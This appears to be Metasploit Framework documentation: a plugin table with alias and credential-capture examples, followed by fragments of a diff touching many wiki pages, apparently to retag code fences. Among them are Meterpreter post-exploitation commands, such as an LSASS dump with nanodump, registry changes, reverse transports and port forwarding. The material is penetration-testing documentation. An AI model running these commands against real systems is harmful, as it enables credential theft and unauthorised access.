|------------------|-----------------------------------------------------------------------------------------------------|
| aggregator | Interacts with the external Session Aggregator |
| alias | Adds the ability to alias console commands |
| auto_add_route | Adds routes for any new subnets whenever a session opens |
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
| besecure | Integrates with the beSECURE - open source vulnerability management |
| capture | Start all credential capture and spoofing services |
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
| db_tracker | Monitors socket calls and updates the database backend |
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
| lab | Adds the ability to manage VMs |
| libnotify | Send desktop notification with libnotify on sessions and db events |
| msfd | Provides a console interface to users over a listening TCP port |
| msgrpc | Provides a MessagePack interface over HTTP |
| nessus | Nessus Bridge for Metasploit |
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
| openvas | Integrates with the OpenVAS - open source vulnerability management |
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
| request | Make requests from within Metasploit using various protocols. |
| rssfeed | Create an RSS feed of events |
| sample | Demonstrates using framework plugins |
| session_notifier | This plugin notifies you of a new session via SMS |
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
| socket_logger | Log socket operations to a directory as individual files |
| sounds | Automatically plays a sound when various framework events occur |
| sqlmap | sqlmap plugin for Metasploit |
| thread | Internal test tool for testing thread usage in Metasploit |
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
| token_hunter | Search all active Meterpreter sessions for specific tokens |
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
| wmap | Web assessment plugin |
## Examples
### Alias Plugin
The Alias plugin adds the ability to alias console commands:
```msf
msf6 > load alias
[*] Successfully loaded plugin: alias
msf6 > alias -h
Usage: alias [options] [name [value]]
OPTIONS:
-c Clear an alias (* to clear all).
-f Force an alias assignment.
-h Help banner.
```
Register an alias such as `proxy_enable`:
```msf
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
```
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
```msf
msf6 auxiliary(scanner/http/title) > proxy_enable
Proxies => http:localhost:8079
```
Viewing registered aliases:
```msf
msf6 > alias
Current Aliases
===============
Alias Name Alias Value
---------- -----------
alias proxy_enable set Proxies http:localhost:8079
```
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
```
load alias
alias proxy_enable "set Proxies http:localhost:8079"
alias proxy_disable "unset Proxies"
alias routes "route print"
```
### Capture Plugin
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
using a single command.
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
```msf
msf6 > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.159.128
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
[+] Authentication Capture: FTP started
[+] HTTP Client MS Credential Catcher started
[+] HTTP Client MS Credential Catcher started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: MSSQL started
[+] Authentication Capture: MySQL started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: PostgreSQL started
[+] Printjob Capture Service started
[+] Authentication Capture: SIP started
[+] Authentication Capture: SMB started
[+] Authentication Capture: SMTP started
[+] Authentication Capture: Telnet started
[+] Authentication Capture: VNC started
[+] Authentication Capture: FTP started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: SMTP started
[+] NetBIOS Name Service Spoofer started
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
msf6 >
```
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
```
```ruby
def elog(msg, src = 'core', level = 0, from = caller)
```
@@ -50,7 +50,7 @@ And then you are ready to go.
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
```
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -118,7 +118,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -155,7 +155,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -185,7 +185,7 @@ Response:
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
auxiliary module against a target. For instance, with an Auxiliary module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -205,7 +205,7 @@ curl --request POST \
Or an Exploit module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -445,7 +445,7 @@ curl --request POST \
Run the analyze command:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -491,7 +491,7 @@ Response:
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -128,7 +128,7 @@ The best way to let the user decide what kind of payload to use is by defining s
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -182,7 +182,7 @@ payloads. All I did was give an array value for the `Platform` value and change
For the `execute_command` method, nothing changes:
``` ruby
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
@@ -206,7 +206,7 @@ end
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
needs to change.
``` ruby
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
@@ -221,7 +221,7 @@ needs to change.
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
like Fetch Payloads, you can simply add the `linux` value to the platform array:
``` ruby
```ruby
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
@@ -330,4 +330,4 @@ present on a system, so the command will be `tnftp` rather than `ftp`.
#### WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
@@ -74,7 +74,7 @@ To get things started, you can always use the following template to start develo
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -8,7 +8,7 @@ Here is how you can set it up:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
url = https://github.com/rapid7/metasploit-framework
````
```
And now it looks like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
@@ -72,13 +72,13 @@ And now it looks like this:
fetch = +refs/heads/*:refs/remotes/origin/*
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
url = https://github.com/YOURNAME/metasploit-framework
````
```
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
[... bunches of tags and PRs ...]
* [new ref] refs/pull/1701/head -> upstream/pr/1701
* [new ref] refs/pull/1702/head -> upstream/pr/1702
````
```
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
# Making changes
````
```
$ gvim .gitignore
[... make some changes and some commits ...]
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
@@ -184,19 +184,19 @@ $ git push origin pr1271-fix-gitignore-conflict
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
$ git pr-url schierlm javapayload-maven
Created new window in existing browser session.
````
```
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
````
```ini
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
````
```
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
````
```
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
````
```
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
@@ -208,7 +208,7 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
````
```
$ git fetch upstream
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (2/2), done.
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
Unpacking objects: 100% (7/7), done.
From https://github.com/rapid7/metasploit-framework
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
````
```
This all looked good, so he could land this to Rapid7's repo with:
````
``
$ git checkout -b upstream-master --track upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
``
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -33,8 +33,6 @@ The `bofloader` extension provides exactly one command, through which all of the
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
* `-c` / `--compile` -- Compile the input file (requires mingw).
* `-e` / `--entry` -- The entry point (default: `go`).
* `-f` / `--format-string` -- Argument format-string. See details below.
@@ -79,7 +77,7 @@ argument format string.
# Usage Examples
Executing [dir][4], passing the path argument and number of sub-directories to list.
```
```msf
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
Contents of C:\*:
08/05/2022 15:17 <dir> $Recycle.Bin
@@ -103,7 +101,7 @@ meterpreter >
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
written to disk. Once completed, the dump file can be downloaded from the remote host.
```
```msf
meterpreter > ps lsass
Filtering on 'lsass'
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
```
```msf
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
```
```msf
# Valid: Using single quotes around the registry key
meterpreter > reg enumkey -k 'HKCU\Keyboard Layout'
@@ -75,7 +75,7 @@ Active sessions
For example - when interacting with a x86 session there are 12 keys listed:
```
```msf
# x86 Session
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -86,7 +86,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Versus a x64 session which shows 23 keys:
```
```msf
# x64 Session
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -98,7 +98,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 32
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -106,7 +106,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
# ... omitted for clarity ...
```
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 64
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -119,7 +119,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Enumerate a root key:
```
```msf
meterpreter > reg enumkey -k HKLM
Enumerating: HKLM
@@ -135,7 +135,7 @@ Enumerating: HKLM
Enumerate a subkey:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
@@ -149,7 +149,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Display the registry value and type information:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' -v ProductName
Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
Name: ProductName
@@ -159,7 +159,7 @@ Data: Windows 10 Enterprise
Values that are of type `REG_SZ_EXPAND` such as ` %SystemRoot%\system32\drivers\GM.DLS` will not automatically be expanded:
```
```msf
meterpreter > reg queryval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic' -v 'GMFilePath'
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic
Name: GMFilePath
@@ -169,7 +169,7 @@ Data: C:\Windows\system32\drivers\GM.DLS
Values that are of type `REG_MULTI_SZ` will be separated by `\0`:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\example' -v 'example multi value with spaces'
Key: HKLM\Software\example
Name: example multi value with spaces
@@ -179,7 +179,7 @@ Data: line1\0line2\0line3
### Creating a key
```
```msf
meterpreter > reg createkey -k 'HKLM\software\example'
Successfully created key: HKLM\software\example
```
@@ -188,42 +188,42 @@ Successfully created key: HKLM\software\example
Setting a `REG_DWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1
Successfully set LocalAccountTokenFilterPolicy of REG_DWORD.
```
Setting a `REG_QWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_DWORD -v qword_example -d 12345678
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_MULTI_SZ` - i.e. an array of strings:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_MULTI_SZ -v 'example multi value with spaces' -d 'line1\0line2\0line3'
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_BINARY` - use lowercase hexadecimal input without the preceding `0x`:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_BINARY -v binary_example -d deadbeef
Successfully set binary_example of REG_BINARY.
```
### Deleting a key
```
```msf
meterpreter > reg deletekey -k 'HKLM\software\example'
Successfully deleted key: HKLM\software\example
```
### Deleting a value
```
```msf
meterpreter > reg deleteval -k 'HKLM\software\example' -v 'example multi value with spaces'
Successfully deleted example multi value with spaces.
```
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
The interface to the sleep command looks like this:
```
```msf
meterpreter > sleep
Usage: sleep <time>
@@ -31,7 +31,7 @@ As shown, `sleep` expects to be given a single postive integer value that repres
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
```
```msf
meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[+] Target instance has gone to sleep, terminating current session.
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
```
```msf
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 4684 opened ....
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
```
```msf
meterpreter > get_timeouts
Session Expiry : @ 2015-06-09 19:56:05
Comm Timeout : 100000 seconds
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
```
```msf
meterpreter > set_timeouts
Usage: set_timeouts [options]
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
```
```msf
meterpreter > set_timeouts -x 120 -t 3
Session Expiry : @ 2015-06-02 22:45:13
Comm Timeout : 100000 seconds
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
```
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
```
```msf
meterpreter >
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
```
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
The following output shows the current help text for the `transport` command:
```bash
```msf
meterpreter > transport
Usage: transport <list|change|add|next|prev|remove> [options]
@@ -65,7 +65,7 @@ OPTIONS:
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
```bash
```msf
meterpreter > transport list -v
Session Expiry : @ 2015-06-09 19:56:05
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
```bash
```msf
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
@@ -127,7 +127,7 @@ It is also possible to specify the following:
The following shows another example which adds another `reverse_tcp` transport to the transport list:
```bash
```msf
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
@@ -155,7 +155,7 @@ The three different ways to change transports are:
As an example, here is the current transport setup:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -168,7 +168,7 @@ Session Expiry : @ 2015-06-09 19:56:05
Moving to the next transport:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -195,7 +195,7 @@ This output shows that we moved from the original `reverse_tcp` to the `reverse_
Moving to the next transport again takes the session to the second `reverse_tcp` listener:
```bash
```msf
meterpreter > transport next
[*] Changing to next transport ...
[+] Successfully changed to the next transport, killing current session.
@@ -218,7 +218,7 @@ Session Expiry : @ 2015-06-09 19:56:06
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
```bash
```msf
meterpreter > transport prev
[*] Changing to previous transport ...
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
* `-p` - The `LPORT` value.
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
```bash
```msf
[*] Starting interaction with 2...
meterpreter > transport list
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
```bash
```msf
./msfconsole -r ~/msf.rc
[*] Starting the Metasploit Framework console...|
IIIIII dTb.dTb _.---._
@@ -49,7 +49,7 @@ If you go to `metasploit-framework/documentation/modules`, you'll see that there
For example:
```
```msf
msf> use auxiliary/scanner/smb/smb_login
msf (smb_login)> info
@@ -4,7 +4,7 @@ Installers are built nightly for macOS, Windows (64-bit) and Linux. These insta
The following script invocation will import the Rapid7 signing key and setup the package for supported Linux and macOS systems:
```
```sh
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
@@ -33,7 +33,7 @@ If you downloaded Metasploit from us, there is no cause for alarm. We pride our
### Windows silent installation
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
```
```powershell
[CmdletBinding()]
Param(
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
@@ -290,7 +290,7 @@ Active sessions
#### Local Port Forwarding
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
```
```msf
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
@@ -309,7 +309,7 @@ meterpreter >
To add a port forward, use `portfwd add` and specify the `-l`, `-p` and `-r` options at a minimum to specify the local port to listen on, the report port to connect to, and the target host to connect to respectively.
```
```msf
meterpreter > portfwd add -l 1090 -p 443 -r 169.254.37.128
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
meterpreter >
@@ -338,7 +338,7 @@ Note that you may need to edit your `/etc/hosts` file to map IP addresses to giv
#### Listing Port Forwards and Removing Entries
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
```
```msf
meterpreter > portfwd delete -l 1090
[*] Successfully stopped TCP relay on 0.0.0.0:1090
meterpreter > portfwd list
@@ -355,7 +355,7 @@ To set up a reverse port forward, use `portfwd add -R` within a supported sessio
For example to listen on port 9093 on a target session and have it forward all traffic to the Metasploit machine at 172.20.97.72 on port 9093 we could execute `portfwd add -R -l 4444 -L 172.20.97.73 -p 9093` as shown below, which would then cause the machine who have a session on to start listening on port 9093 for incoming connections.
```
```msf
meterpreter > portfwd add -R -l 4444 -L 172.20.97.73 -p 9093
[*] Local TCP relay created: 172.20.97.73:4444 <-> :9093
meterpreter > netstat -a
@@ -446,7 +446,7 @@ socks5 127.0.0.1 1080
The final final should look something like this:
```
```ini
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
@@ -11,12 +11,12 @@ Unfortunately, at this point in time the extension only works inside x86 and x64
# Usage
As with any other extension that comes with Meterpreter, loading it is very simple:
```
```msf
meterpreter > use python
Loading extension python...success.
```
Once loaded, the help system shows the commands that come with the extension:
```
```msf
meterpreter > help
... snip ...
@@ -36,7 +36,7 @@ Each of these commands is discussed in detail below.
## python_execute
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
```
```msf
meterpreter > python_execute -h
